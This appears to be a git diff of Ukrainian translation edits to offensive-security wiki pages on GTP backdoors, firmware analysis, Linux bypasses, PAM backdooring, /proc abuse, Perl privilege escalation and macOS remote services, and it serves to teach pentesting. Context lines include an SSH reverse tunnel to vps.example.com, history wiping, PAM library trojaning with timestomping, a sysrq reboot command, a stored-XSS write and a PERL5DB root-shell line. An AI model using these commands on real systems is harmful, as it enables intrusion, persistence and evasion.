Мінімальний PoC пакет (Python):
|
||||
```python
|
||||
@ -56,7 +56,7 @@ print(gtpc.build_echo_req(tag=b"MAG1C", blob=enc))
|
||||
* будь-який хост, що надсилає **незбалансовані Echo запити** до IP-адрес SGSN
|
||||
* прапор версії GTP, встановлений на 1, коли тип повідомлення = 1 (Echo) – відхилення від специфікації
|
||||
|
||||
## 4. Півотування через ядро
|
||||
## 4. Пивотування через ядро
|
||||
|
||||
### 4.1 `sgsnemu` + SOCKS5
|
||||
`OsmoGGSN` постачає емулятор SGSN, здатний **встановити PDP контекст до реального GGSN/PGW**. Після переговорів Linux отримує новий інтерфейс `tun0`, доступний з роумінгового пір.
|
||||
@ -79,7 +79,7 @@ ssh -f -N -R 0.0.0.0:53:127.0.0.1:22 user@vps.example.com
|
||||
|
||||
| Канал | Транспорт | Декодування | Примітки |
|
||||
|-------|-----------|-------------|----------|
|
||||
| ICMP – `EchoBackdoor` | ICMP Echo Req/Rep | 4-байтовий ключ + 14-байтові шматки (XOR) | чистий пасивний слухач, без вихідного трафіку |
|
||||
| ICMP – `EchoBackdoor` | ICMP Echo Req/Rep | 4-байтовий ключ + 14-байтові частини (XOR) | чистий пасивний слухач, без вихідного трафіку |
|
||||
| DNS – `NoDepDNS` | UDP 53 | XOR (ключ = `funnyAndHappy`), закодований в октетах A-запису | спостерігає за піддоменом `*.nodep` |
|
||||
| GTP – `GTPDoor` | UDP 2123 | AES-128-CBC об'єкт у приватному IE | змішується з легітимним GTP-C спілкуванням |
|
||||
|
||||
@ -121,19 +121,19 @@ rm -f /tmp/sh ; history -c
|
||||
* `cordscan`, `GTPDoor`, `EchoBackdoor`, `NoDepDNS` – спеціалізовані інструменти, описані в попередніх розділах.
|
||||
* `FScan` : внутрішні TCP сканування (`fscan -p 22,80,443 10.0.0.0/24`)
|
||||
* `Responder` : LLMNR/NBT-NS підроблений WPAD
|
||||
* `Microsocks` + `ProxyChains` : легке SOCKS5 підімкнення
|
||||
* `Microsocks` + `ProxyChains` : легке SOCKS5 півотування
|
||||
* `FRP` (≥0.37) : обходження NAT / з'єднання активів
|
||||
|
||||
---
|
||||
## Ідеї для виявлення
|
||||
1. **Будь-який пристрій, окрім SGSN/GGSN, що встановлює запити на створення PDP контексту**.
|
||||
2. **Нестандартні порти (53, 80, 443), що отримують SSH рукопожаття** з внутрішніх IP-адрес.
|
||||
3. **Часті Echo запити без відповідних Echo відповідей** – можуть вказувати на GTPDoor маяки.
|
||||
4. **Висока частота ICMP echo-reply трафіку з великими, ненульовими ідентифікаторами/послідовностями**.
|
||||
3. **Часті Echo запити без відповідних Echo відповідей** – можуть вказувати на сигнали GTPDoor.
|
||||
4. **Висока частота ICMP echo-reply трафіку з великими, ненульовими полями ідентифікатора/послідовності**.
|
||||
|
||||
## Посилання
|
||||
|
||||
- [Palo Alto Unit42 – Вторгнення в глобальні телекомунікаційні мережі](https://unit42.paloaltonetworks.com/infiltration-of-global-telecom-networks/)
|
||||
- [Palo Alto Unit42 – Проникнення в глобальні телекомунікаційні мережі](https://unit42.paloaltonetworks.com/infiltration-of-global-telecom-networks/)
|
||||
- 3GPP TS 29.060 – Протокол тунелювання GPRS (v16.4.0)
|
||||
- 3GPP TS 29.281 – GTPv2-C (v17.6.0)
|
||||
|
||||
|
@ -39,7 +39,7 @@
|
||||
|
||||
## Аналіз ПЗ
|
||||
|
||||
Тепер, коли ви **отримали ПЗ**, вам потрібно витягти інформацію про нього, щоб знати, як з ним працювати. Різні інструменти, які ви можете використовувати для цього:
|
||||
Тепер, коли ви **маєте ПЗ**, вам потрібно витягти інформацію про нього, щоб знати, як з ним працювати. Різні інструменти, які ви можете використовувати для цього:
|
||||
```bash
|
||||
file <bin>
|
||||
strings -n8 <bin>
|
||||
@ -105,7 +105,7 @@ $ dd if=DIR850L_REVB.bin bs=1 skip=1704084 of=dir.squashfs
|
||||
|
||||
`$ jefferson rootfsfile.jffs2`
|
||||
|
||||
- Для файлових систем ubifs з NAND flash
|
||||
- Для файлових систем ubifs з NAND флеш-пам'яттю
|
||||
|
||||
`$ ubireader_extract_images -u UBI -s <start_offset> <bin>`
|
||||
|
||||
@ -126,7 +126,7 @@ hexdump -C -n 512 <bin> > hexdump.out
|
||||
hexdump -C <bin> | head #useful for finding signatures in the header
|
||||
fdisk -lu <bin> #lists partitions and filesystems, if there are multiple
|
||||
```
|
||||
Щоб оцінити статус шифрування зображення, перевіряється **ентропія** за допомогою `binwalk -E <bin>`. Низька ентропія вказує на відсутність шифрування, тоді як висока ентропія може свідчити про можливе шифрування або стиснення.
|
||||
Щоб оцінити статус шифрування зображення, перевіряється **ентропія** за допомогою `binwalk -E <bin>`. Низька ентропія вказує на відсутність шифрування, тоді як висока ентропія свідчить про можливе шифрування або стиснення.
|
||||
|
||||
Для витягування **вбудованих файлів** рекомендуються інструменти та ресурси, такі як документація **file-data-carving-recovery-tools** та **binvis.io** для перевірки файлів.
|
||||
|
||||
@ -164,7 +164,7 @@ $ dd if=DIR850L_REVB.bin bs=1 skip=1704084 of=dir.squashfs
|
||||
|
||||
## Емуляція прошивки для динамічного аналізу
|
||||
|
||||
Процес емулювання прошивки дозволяє виконувати **динамічний аналіз** або роботи пристрою, або окремої програми. Цей підхід може стикатися з проблемами залежностей апаратного забезпечення або архітектури, але перенесення кореневої файлової системи або конкретних двійкових файлів на пристрій з відповідною архітектурою та порядком байтів, наприклад, Raspberry Pi, або на попередньо зібрану віртуальну машину, може полегшити подальше тестування.
|
||||
Процес емулювання прошивки дозволяє **динамічний аналіз** або роботи пристрою, або окремої програми. Цей підхід може стикатися з проблемами залежностей апаратного забезпечення або архітектури, але перенесення кореневої файлової системи або конкретних двійкових файлів на пристрій з відповідною архітектурою та порядком байтів, наприклад, Raspberry Pi, або на попередньо зібрану віртуальну машину, може полегшити подальше тестування.
|
||||
|
||||
### Емуляція окремих двійкових файлів
|
||||
|
||||
@ -192,15 +192,15 @@ sudo apt-get install qemu qemu-user qemu-user-static qemu-system-arm qemu-system
|
||||
|
||||
## Динамічний аналіз на практиці
|
||||
|
||||
На цьому етапі використовується реальне або емульоване середовище пристрою для аналізу. Важливо підтримувати доступ до оболонки ОС та файлової системи. Емуляція може не ідеально відтворювати взаємодію з апаратним забезпеченням, що потребує періодичних перезапусків емуляції. Аналіз має повторно перевіряти файлову систему, експлуатувати відкриті веб-сторінки та мережеві сервіси, а також досліджувати вразливості завантажувача. Тести цілісності прошивки є критично важливими для виявлення потенційних вразливостей бекдорів.
|
||||
На цьому етапі використовується реальне або емульоване середовище пристрою для аналізу. Важливо підтримувати доступ до оболонки ОС та файлової системи. Емуляція може не ідеально відтворювати взаємодію з апаратним забезпеченням, що потребує періодичних перезапусків емуляції. Аналіз має повторно перевіряти файлову систему, експлуатувати відкриті веб-сторінки та мережеві сервіси, а також досліджувати вразливості завантажувача. Тести цілісності прошивки є критично важливими для виявлення потенційних вразливостей бекдору.
|
||||
|
||||
## Техніки аналізу в реальному часі
|
||||
## Техніки аналізу в режимі виконання
|
||||
|
||||
Аналіз в реальному часі передбачає взаємодію з процесом або бінарним файлом у його операційному середовищі, використовуючи інструменти, такі як gdb-multiarch, Frida та Ghidra для встановлення точок зупинки та виявлення вразливостей через фуззинг та інші техніки.
|
||||
Аналіз в режимі виконання передбачає взаємодію з процесом або бінарним файлом у його операційному середовищі, використовуючи інструменти, такі як gdb-multiarch, Frida та Ghidra для встановлення точок зупинки та виявлення вразливостей через фуззинг та інші техніки.
|
||||
|
||||
## Експлуатація бінарних файлів та доказ концепції
|
||||
|
||||
Розробка PoC для виявлених вразливостей вимагає глибокого розуміння цільової архітектури та програмування на мовах нижчого рівня. Захисти бінарного часу в вбудованих системах рідкісні, але коли вони присутні, можуть знадобитися такі техніки, як Return Oriented Programming (ROP).
|
||||
Розробка PoC для виявлених вразливостей вимагає глибокого розуміння цільової архітектури та програмування на мовах нижчого рівня. Захисти бінарного виконання в вбудованих системах рідкісні, але коли вони присутні, можуть знадобитися такі техніки, як Return Oriented Programming (ROP).
|
||||
|
||||
## Підготовлені операційні системи для аналізу прошивки
|
||||
|
||||
@ -234,29 +234,29 @@ Host: 192.168.0.1
|
||||
Content-Type: application/octet-stream
|
||||
Content-Length: 0
|
||||
```
|
||||
У вразливому (зниженому) прошивці параметр `md5` безпосередньо конкатенується в команду оболонки без санітизації, що дозволяє ін'єкцію довільних команд (тут – увімкнення доступу до root через SSH з використанням ключа). Пізніші версії прошивки впровадили базовий фільтр символів, але відсутність захисту від зниження версії робить виправлення недійсним.
|
||||
У вразливому (зниженому) прошивці параметр `md5` безпосередньо конкатенується в команду оболонки без санітизації, що дозволяє ін'єкцію довільних команд (тут – увімкнення доступу до root через SSH за допомогою ключа). Пізніші версії прошивки впровадили базовий фільтр символів, але відсутність захисту від зниження версії робить виправлення недійсним.
|
||||
|
||||
### Витягування прошивки з мобільних додатків
|
||||
|
||||
Багато постачальників об'єднують повні образи прошивки всередині своїх супутніх мобільних додатків, щоб додаток міг оновлювати пристрій через Bluetooth/Wi-Fi. Ці пакети зазвичай зберігаються нешифрованими в APK/APEX під шляхами, такими як `assets/fw/` або `res/raw/`. Інструменти, такі як `apktool`, `ghidra` або навіть простий `unzip`, дозволяють вам витягувати підписані образи, не торкаючись фізичного обладнання.
|
||||
Багато постачальників об'єднують повні образи прошивки всередині своїх супутніх мобільних додатків, щоб додаток міг оновлювати пристрій через Bluetooth/Wi-Fi. Ці пакети зазвичай зберігаються незашифрованими в APK/APEX під шляхами, такими як `assets/fw/` або `res/raw/`. Інструменти, такі як `apktool`, `ghidra` або навіть простий `unzip`, дозволяють вам витягувати підписані образи, не торкаючись фізичного обладнання.
|
||||
```
|
||||
$ apktool d vendor-app.apk -o vendor-app
|
||||
$ ls vendor-app/assets/firmware
|
||||
firmware_v1.3.11.490_signed.bin
|
||||
```
|
||||
### Checklist for Assessing Update Logic
|
||||
### Чек-лист для оцінки логіки оновлення
|
||||
|
||||
* Чи адекватно захищений транспорт/автентифікація *endpoint оновлення* (TLS + автентифікація)?
|
||||
* Чи адекватно захищений транспорт/автентифікація *кінцевої точки оновлення* (TLS + автентифікація)?
|
||||
* Чи порівнює пристрій **номери версій** або **монотонний анти-ролбек лічильник** перед прошивкою?
|
||||
* Чи перевіряється образ у безпечному завантажувальному ланцюзі (наприклад, підписи перевіряються кодом ROM)?
|
||||
* Чи виконує код користувацького простору додаткові перевірки (наприклад, дозволена карта розділів, номер моделі)?
|
||||
* Чи *часткові* або *резервні* потоки оновлення повторно використовують ту ж логіку валідації?
|
||||
* Чи використовують *часткові* або *резервні* потоки оновлення ту ж саму логіку валідації?
|
||||
|
||||
> 💡 Якщо щось із вищезазначеного відсутнє, платформа, ймовірно, вразлива до атак ролбеку.
|
||||
> 💡 Якщо щось із вищезазначеного відсутнє, платформа, ймовірно, вразлива до атак на відкат.
|
||||
|
||||
## Vulnerable firmware to practice
|
||||
## Вразливе ПЗ для практики
|
||||
|
||||
Щоб практикуватися у виявленні вразливостей у прошивці, використовуйте наступні вразливі проекти прошивки як відправну точку.
|
||||
Щоб практикуватися у виявленні вразливостей у ПЗ, використовуйте наступні вразливі проекти ПЗ як відправну точку.
|
||||
|
||||
- OWASP IoTGoat
|
||||
- [https://github.com/OWASP/IoTGoat](https://github.com/OWASP/IoTGoat)
|
||||
@ -271,13 +271,13 @@ firmware_v1.3.11.490_signed.bin
|
||||
- Damn Vulnerable IoT Device (DVID)
|
||||
- [https://github.com/Vulcainreo/DVID](https://github.com/Vulcainreo/DVID)
|
||||
|
||||
## References
|
||||
## Посилання
|
||||
|
||||
- [https://scriptingxss.gitbook.io/firmware-security-testing-methodology/](https://scriptingxss.gitbook.io/firmware-security-testing-methodology/)
|
||||
- [Practical IoT Hacking: The Definitive Guide to Attacking the Internet of Things](https://www.amazon.co.uk/Practical-IoT-Hacking-F-Chantzis/dp/1718500904)
|
||||
- [Exploiting zero days in abandoned hardware – Trail of Bits blog](https://blog.trailofbits.com/2025/07/25/exploiting-zero-days-in-abandoned-hardware/)
|
||||
|
||||
## Trainning and Cert
|
||||
## Тренінг та сертифікація
|
||||
|
||||
- [https://www.attify-store.com/products/offensive-iot-exploitation](https://www.attify-store.com/products/offensive-iot-exploitation)
|
||||
|
||||
|
@ -1,8 +1,8 @@
|
||||
# Обхід обмежень Linux
|
||||
# Bypass Linux Restrictions
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Обходи загальних обмежень
|
||||
## Загальні обходи обмежень
|
||||
|
||||
### Реверсна оболонка
|
||||
```bash
|
||||
@ -129,7 +129,7 @@ cat `xxd -r -ps <(echo 2f6574632f706173737764)`
|
||||
# Decimal IPs
|
||||
127.0.0.1 == 2130706433
|
||||
```
|
||||
### Витік даних на основі часу
|
||||
### Екстракція даних на основі часу
|
||||
```bash
|
||||
time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
|
||||
```
|
||||
@ -296,7 +296,7 @@ ln /f*
|
||||
```
|
||||
## Read-Only/Noexec/Distroless Bypass
|
||||
|
||||
Якщо ви знаходитесь у файловій системі з **захистами тільки для читання та noexec** або навіть у контейнері без дистрибутива, все ще є способи **виконати довільні бінарні файли, навіть оболонку!:**
|
||||
Якщо ви знаходитесь у файловій системі з **захистами від запису та виконання** або навіть у контейнері без дистрибутива, все ще існують способи **виконати довільні бінарні файли, навіть оболонку!:**
|
||||
|
||||
{{#ref}}
|
||||
bypass-fs-protections-read-only-no-exec-distroless/
|
||||
|
@ -4,12 +4,12 @@
|
||||
|
||||
### Основна інформація
|
||||
|
||||
**PAM (Pluggable Authentication Modules)** діє як механізм безпеки, який **перевіряє особу користувачів, що намагаються отримати доступ до комп'ютерних послуг**, контролюючи їх доступ на основі різних критеріїв. Це схоже на цифрового охоронця, який забезпечує, щоб лише авторизовані користувачі могли взаємодіяти з певними послугами, одночасно потенційно обмежуючи їх використання, щоб запобігти перевантаженню системи.
|
||||
**PAM (Pluggable Authentication Modules)** діє як механізм безпеки, який **перевіряє особу користувачів, які намагаються отримати доступ до комп'ютерних послуг**, контролюючи їх доступ на основі різних критеріїв. Це схоже на цифрового охоронця, який забезпечує, щоб лише авторизовані користувачі могли взаємодіяти з певними послугами, одночасно потенційно обмежуючи їх використання, щоб запобігти перевантаженню системи.
|
||||
|
||||
#### Файли конфігурації
|
||||
|
||||
- **Системи Solaris та UNIX** зазвичай використовують центральний файл конфігурації, розташований за адресою `/etc/pam.conf`.
|
||||
- **Системи Linux** віддають перевагу підходу з директорією, зберігаючи специфічні для послуг конфігурації в `/etc/pam.d`. Наприклад, файл конфігурації для служби входу знаходиться за адресою `/etc/pam.d/login`.
|
||||
- **Системи Linux** віддають перевагу підходу з директоріями, зберігаючи специфічні для послуг конфігурації в `/etc/pam.d`. Наприклад, файл конфігурації для служби входу знаходиться за адресою `/etc/pam.d/login`.
|
||||
|
||||
Приклад конфігурації PAM для служби входу може виглядати так:
|
||||
```
|
||||
@ -39,7 +39,7 @@ session required /lib/security/pam_unix_session.so
|
||||
|
||||
- **Required**: Невдача обов'язкового модуля призводить до остаточної невдачі, але лише після перевірки всіх наступних модулів.
|
||||
- **Requisite**: Негайне завершення процесу у разі невдачі.
|
||||
- **Sufficient**: Успіх обходить решту перевірок того ж царства, якщо наступний модуль не зазнає невдачі.
|
||||
- **Sufficient**: Успіх обходить решту перевірок того ж самого рівня, якщо наступний модуль не зазнає невдачі.
|
||||
- **Optional**: Викликає невдачу лише якщо це єдиний модуль у стеку.
|
||||
|
||||
#### Example Scenario
|
||||
@ -48,7 +48,7 @@ session required /lib/security/pam_unix_session.so
|
||||
|
||||
## Backdooring PAM – Hooking `pam_unix.so`
|
||||
|
||||
Класичний трюк з постійністю в середовищах Linux високої вартості полягає в тому, щоб **замінити легітимну бібліотеку PAM на тройовану**. Оскільки кожен вхід через SSH / консоль в кінцевому підсумку викликає `pam_unix.so:pam_sm_authenticate()`, кілька рядків C достатньо, щоб захопити облікові дані або реалізувати *чарівний* обхід пароля.
|
||||
Класичний трюк з постійністю в середовищах Linux високої вартості полягає в тому, щоб **замінити легітимну бібліотеку PAM на тройовану версію**. Оскільки кожен вхід через SSH / консоль в кінцевому підсумку викликає `pam_unix.so:pam_sm_authenticate()`, кілька рядків C достатньо, щоб захопити облікові дані або реалізувати *чарівний* обхід пароля.
|
||||
|
||||
### Compilation Cheatsheet
|
||||
```c
|
||||
@ -91,13 +91,13 @@ chmod 644 /lib/security/pam_unix.so # keep original perms
|
||||
touch -r /bin/ls /lib/security/pam_unix.so # timestomp
|
||||
```
|
||||
### OpSec Tips
|
||||
1. **Атомне перезаписування** – записуйте у тимчасовий файл і `mv` на місце, щоб уникнути частково записаних бібліотек, які можуть заблокувати SSH.
|
||||
2. Розміщення журналів, таких як `/usr/bin/.dbus.log`, зливається з легітимними артефактами робочого столу.
|
||||
1. **Atomic overwrite** – записати у тимчасовий файл і `mv` на місце, щоб уникнути частково записаних бібліотек, які можуть заблокувати SSH.
|
||||
2. Розміщення лог-файлів, таких як `/usr/bin/.dbus.log`, зливається з легітимними артефактами робочого столу.
|
||||
3. Зберігайте експорти символів ідентичними (`pam_sm_setcred` тощо), щоб уникнути неправильного поводження PAM.
|
||||
|
||||
### Detection
|
||||
* Порівняйте MD5/SHA256 `pam_unix.so` з пакетом дистрибутива.
|
||||
* Перевірте на наявність прав на запис для всіх або незвичну власність під `/lib/security/`.
|
||||
* Перевірте на наявність файлів, доступних для запису всім, або незвичну власність під `/lib/security/`.
|
||||
* Правило `auditd`: `-w /lib/security/pam_unix.so -p wa -k pam-backdoor`.
|
||||
|
||||
### References
|
||||
|
@ -50,7 +50,7 @@ ls -l $(cat /proc/sys/kernel/modprobe) # Check access to modprobe
|
||||
#### **`/proc/sys/vm/panic_on_oom`**
|
||||
|
||||
- Згадується в [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html).
|
||||
- Глобальний прапор, який контролює, чи панікує ядро або викликає OOM вбивцю, коли виникає умова OOM.
|
||||
- Глобальний прапор, який контролює, чи панікує ядро або викликає OOM killer, коли виникає умова OOM.
|
||||
|
||||
#### **`/proc/sys/fs`**
|
||||
|
||||
@ -60,7 +60,7 @@ ls -l $(cat /proc/sys/kernel/modprobe) # Check access to modprobe
|
||||
#### **`/proc/sys/fs/binfmt_misc`**
|
||||
|
||||
- Дозволяє реєструвати інтерпретатори для ненативних бінарних форматів на основі їх магічного номера.
|
||||
- Може призвести до підвищення привілеїв або доступу до кореневого терміналу, якщо `/proc/sys/fs/binfmt_misc/register` доступний для запису.
|
||||
- Може призвести до ескалації привілеїв або доступу до root shell, якщо `/proc/sys/fs/binfmt_misc/register` доступний для запису.
|
||||
- Відповідна експлуатація та пояснення:
|
||||
- [Poor man's rootkit via binfmt_misc](https://github.com/toffan/binfmt_misc)
|
||||
- Докладний посібник: [Video link](https://www.youtube.com/watch?v=WBC7hhgMvQQ)
|
||||
@ -70,7 +70,7 @@ ls -l $(cat /proc/sys/kernel/modprobe) # Check access to modprobe
|
||||
#### **`/proc/config.gz`**
|
||||
|
||||
- Може розкрити конфігурацію ядра, якщо `CONFIG_IKCONFIG_PROC` увімкнено.
|
||||
- Корисно для зловмисників для виявлення вразливостей у запущеному ядрі.
|
||||
- Корисно для атакуючих для виявлення вразливостей у запущеному ядрі.
|
||||
|
||||
#### **`/proc/sysrq-trigger`**
|
||||
|
||||
@ -84,7 +84,7 @@ echo b > /proc/sysrq-trigger # Reboots the host
|
||||
#### **`/proc/kmsg`**
|
||||
|
||||
- Відкриває повідомлення з кільцевого буфера ядра.
|
||||
- Може допомогти в експлуатації ядра, витоках адрес та надати чутливу інформацію про систему.
|
||||
- Може допомогти в експлуатації ядра, витоках адрес і надати чутливу інформацію про систему.
|
||||
|
||||
#### **`/proc/kallsyms`**
|
||||
|
||||
@ -96,7 +96,7 @@ echo b > /proc/sysrq-trigger # Reboots the host
|
||||
#### **`/proc/[pid]/mem`**
|
||||
|
||||
- Інтерфейс з пристроєм пам'яті ядра `/dev/mem`.
|
||||
- Історично вразливий до атак підвищення привілеїв.
|
||||
- Історично вразливий до атак ескалації привілеїв.
|
||||
- Більше про [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html).
|
||||
|
||||
#### **`/proc/kcore`**
|
||||
@ -119,12 +119,12 @@ echo b > /proc/sysrq-trigger # Reboots the host
|
||||
#### **`/proc/sched_debug`**
|
||||
|
||||
- Повертає інформацію про планування процесів, обходячи захисти простору PID.
|
||||
- Відкриває імена процесів, ID та ідентифікатори cgroup.
|
||||
- Витікає імена процесів, ID та ідентифікатори cgroup.
|
||||
|
||||
#### **`/proc/[pid]/mountinfo`**
|
||||
|
||||
- Надає інформацію про точки монту в просторі монту процесу.
|
||||
- Відкриває місцезнаходження контейнера `rootfs` або образу.
|
||||
- Витікає місцезнаходження контейнера `rootfs` або образу.
|
||||
|
||||
### Вразливості `/sys`
|
||||
|
||||
@ -199,17 +199,17 @@ metadata:
|
||||
app: pentest
|
||||
spec:
|
||||
containers:
|
||||
- name: pod-mounts-var-folder
|
||||
image: alpine
|
||||
volumeMounts:
|
||||
- mountPath: /host-var
|
||||
name: noderoot
|
||||
command: [ "/bin/sh", "-c", "--" ]
|
||||
args: [ "while true; do sleep 30; done;" ]
|
||||
- name: pod-mounts-var-folder
|
||||
image: alpine
|
||||
volumeMounts:
|
||||
- mountPath: /host-var
|
||||
name: noderoot
|
||||
command: [ "/bin/sh", "-c", "--" ]
|
||||
args: [ "while true; do sleep 30; done;" ]
|
||||
volumes:
|
||||
- name: noderoot
|
||||
hostPath:
|
||||
path: /var
|
||||
- name: noderoot
|
||||
hostPath:
|
||||
path: /var
|
||||
```
|
||||
|
||||
Inside the **pod-mounts-var-folder** container:
|
||||
@ -231,8 +231,7 @@ REFRESH_TOKEN_SECRET=14<SNIP>ea
|
||||
/host-var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/140/fs/usr/share/nginx/html/index.html
|
||||
/host-var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/132/fs/usr/share/nginx/html/index.html
|
||||
|
||||
/ # echo '<!DOCTYPE html><html lang="en"><head><script>alert("Stored XSS!")</script></head></html>' > /host-var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/140/fs/usr/sh
|
||||
are/nginx/html/index2.html
|
||||
/ # echo '<!DOCTYPE html><html lang="uk"><head><script>alert("Збережений XSS!")</script></head></html>' > /host-var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/140/fs/usr/share/nginx/html/index2.html
|
||||
```
|
||||
|
||||
The XSS was achieved:
|
||||
|
@ -2,10 +2,9 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Через змінну середовища `PERL5OPT` & `PERL5LIB`
|
||||
## Via `PERL5OPT` & `PERL5LIB` env variable
|
||||
|
||||
Використовуючи змінну середовища **`PERL5OPT`**, можливо змусити **Perl** виконувати довільні команди, коли інтерпретатор запускається (навіть **перед** тим, як буде проаналізовано перший рядок цільового скрипта).
|
||||
Наприклад, створіть цей скрипт:
|
||||
Використовуючи змінну середовища **`PERL5OPT`**, можливо змусити **Perl** виконувати довільні команди, коли інтерпретатор запускається (навіть **перед** тим, як буде проаналізовано перший рядок цільового скрипта). Наприклад, створіть цей скрипт:
|
||||
```perl:test.pl
|
||||
#!/usr/bin/perl
|
||||
print "Hello from the Perl script!\n";
|
||||
@ -35,9 +34,9 @@ export PERL5DB='system("/bin/zsh")'
|
||||
sudo perl -d /usr/bin/some_admin_script.pl # відкриє оболонку перед виконанням скрипту
|
||||
```
|
||||
|
||||
* **`PERL5SHELL`** – у Windows ця змінна контролює, який виконуваний файл оболонки буде використовувати Perl, коли йому потрібно запустити оболонку. Вона згадується тут лише для повноти, оскільки не є актуальною на macOS.
|
||||
* **`PERL5SHELL`** – у Windows ця змінна контролює, який виконуваний файл оболонки Perl буде використовувати, коли йому потрібно запустити оболонку. Вона згадується тут лише для повноти, оскільки не є актуальною на macOS.
|
||||
|
||||
Хоча `PERL5DB` вимагає прапор `-d`, часто можна зустріти скрипти обслуговування або інсталяції, які виконуються як *root* з увімкненим цим прапором для детального усунення неполадок, що робить цю змінну дійсним вектором ескалації.
|
||||
Хоча `PERL5DB` вимагає прапор `-d`, часто можна знайти скрипти обслуговування або установки, які виконуються як *root* з увімкненим цим прапором для детального усунення неполадок, що робить цю змінну дійсним вектором ескалації.
|
||||
|
||||
## Через залежності (@INC зловживання)
|
||||
|
||||
@ -62,7 +61,7 @@ perl -e 'print join("\n", @INC)'
|
||||
> [!WARNING]
|
||||
> Вам все ще потрібен **root**, щоб записувати в `/Library/Perl`, і macOS покаже запит **TCC**, що запитує *Повний доступ до диска* для процесу, що виконує операцію запису.
|
||||
|
||||
Наприклад, якщо скрипт імплементує **`use File::Basename;`**, буде можливим створити `/Library/Perl/5.30/File/Basename.pm`, що містить код, контрольований атакуючим.
|
||||
Наприклад, якщо скрипт імплементує **`use File::Basename;`**, буде можливим створити `/Library/Perl/5.30/File/Basename.pm`, що міститиме код, контрольований атакуючим.
|
||||
|
||||
## Обхід SIP через Migration Assistant (CVE-2023-32369 “Migraine”)
|
||||
|
||||
@ -87,9 +86,9 @@ Apple виправила цю проблему в macOS **Ventura 13.4**, **Mont
|
||||
## Рекомендації щодо посилення безпеки
|
||||
|
||||
1. **Очистіть небезпечні змінні** – привілейовані launchdaemons або cron jobs повинні запускатися в чистому середовищі (`launchctl unsetenv PERL5OPT`, `env -i` тощо).
|
||||
2. **Уникайте запуску інтерпретаторів від імені root**, якщо це не є строго необхідним. Використовуйте скомпільовані бінарні файли або знижуйте привілеї на ранніх етапах.
|
||||
2. **Уникайте запуску інтерпретаторів від імені root**, якщо це не є строго необхідним. Використовуйте скомпільовані двійкові файли або знижуйте привілеї на ранніх етапах.
|
||||
3. **Використовуйте скрипти постачальника з `-T` (режим забруднення)**, щоб Perl ігнорував `PERL5OPT` та інші небезпечні параметри, коли перевірка на забруднення увімкнена.
|
||||
4. **Тримайте macOS в актуальному стані** – “Migraine” повністю виправлено в поточних релізах.
|
||||
4. **Тримайте macOS в актуальному стані** – “Migraine” повністю виправлено в поточних випусках.
|
||||
|
||||
## Посилання
|
||||
|
||||
|
@ -24,7 +24,7 @@ printf "\nThe following services are OFF if '0', or ON otherwise:\nScreen Sharin
|
||||
```
|
||||
### Pentesting ARD
|
||||
|
||||
Apple Remote Desktop (ARD) є покращеною версією [Virtual Network Computing (VNC)](https://en.wikipedia.org/wiki/Virtual_Network_Computing), адаптованою для macOS, що пропонує додаткові функції. Помітною вразливістю в ARD є метод аутентифікації для пароля контролю екрану, який використовує лише перші 8 символів пароля, що робить його вразливим до [brute force attacks](https://thudinh.blogspot.com/2017/09/brute-forcing-passwords-with-thc-hydra.html) за допомогою інструментів, таких як Hydra або [GoRedShell](https://github.com/ahhh/GoRedShell/), оскільки немає стандартних обмежень швидкості.
|
||||
Apple Remote Desktop (ARD) є покращеною версією [Virtual Network Computing (VNC)](https://en.wikipedia.org/wiki/Virtual_Network_Computing), адаптованою для macOS, що пропонує додаткові функції. Помітною вразливістю в ARD є метод аутентифікації для пароля контролю екрану, який використовує лише перші 8 символів пароля, що робить його вразливим до [brute force attacks](https://thudinh.blogspot.com/2017/09/brute-forcing-passwords-with-thc-hydra.html) з такими інструментами, як Hydra або [GoRedShell](https://github.com/ahhh/GoRedShell/), оскільки немає стандартних обмежень швидкості.
|
||||
|
||||
Вразливі екземпляри можна виявити за допомогою скрипта `vnc-info` від **nmap**. Сервіси, що підтримують `VNC Authentication (2)`, особливо схильні до атак методом грубої сили через обрізання пароля до 8 символів.
|
||||
|
||||
@ -45,7 +45,7 @@ ARD надає різноманітні рівні контролю, включ
|
||||
|
||||
* Вимкніть *Screen Sharing*/*Remote Management*, коли це не є строго необхідним.
|
||||
* Тримайте macOS повністю оновленою (Apple зазвичай випускає виправлення безпеки для останніх трьох основних версій).
|
||||
* Використовуйте **Сильний Пароль** *та* забезпечте, щоб опція *“VNC viewers may control screen with password”* була **вимкнена**, коли це можливо.
|
||||
* Використовуйте **Сильний Пароль** *та* забезпечте, щоб опція *“VNC viewers may control screen with password”* була **вимкнена** коли це можливо.
|
||||
* Розмістіть сервіс за VPN замість того, щоб відкривати TCP 5900/3283 в Інтернет.
|
||||
* Додайте правило брандмауера програми, щоб обмежити `ARDAgent` локальною підмережею:
|
||||
|
||||
@ -123,22 +123,22 @@ zeroconf.close()
|
||||
```
|
||||
### Перерахунок Bonjour через мережу
|
||||
|
||||
* **Nmap NSE** – виявлення служб, які рекламує один хост:
|
||||
* **Nmap NSE** – виявлення служб, які рекламуються одним хостом:
|
||||
|
||||
```bash
|
||||
nmap -sU -p 5353 --script=dns-service-discovery <target>
|
||||
```
|
||||
|
||||
Скрипт `dns-service-discovery` надсилає запит `_services._dns-sd._udp.local` і потім перераховує кожен рекламований тип служби.
|
||||
Скрипт `dns-service-discovery` надсилає запит `_services._dns-sd._udp.local`, а потім перераховує кожен рекламований тип служби.
|
||||
|
||||
* **mdns_recon** – інструмент Python, який сканує цілі діапазони в пошуках *неправильно налаштованих* mDNS відповідей, які відповідають на унікатні запити (корисно для знаходження пристроїв, доступних через підмережі/WAN):
|
||||
* **mdns_recon** – інструмент на Python, який сканує цілі діапазони в пошуках *неправильно налаштованих* mDNS відповідей, які відповідають на унікатні запити (корисно для знаходження пристроїв, доступних через підмережі/WAN):
|
||||
|
||||
```bash
|
||||
git clone https://github.com/chadillac/mdns_recon && cd mdns_recon
|
||||
python3 mdns_recon.py -r 192.0.2.0/24 -s _ssh._tcp.local
|
||||
```
|
||||
|
||||
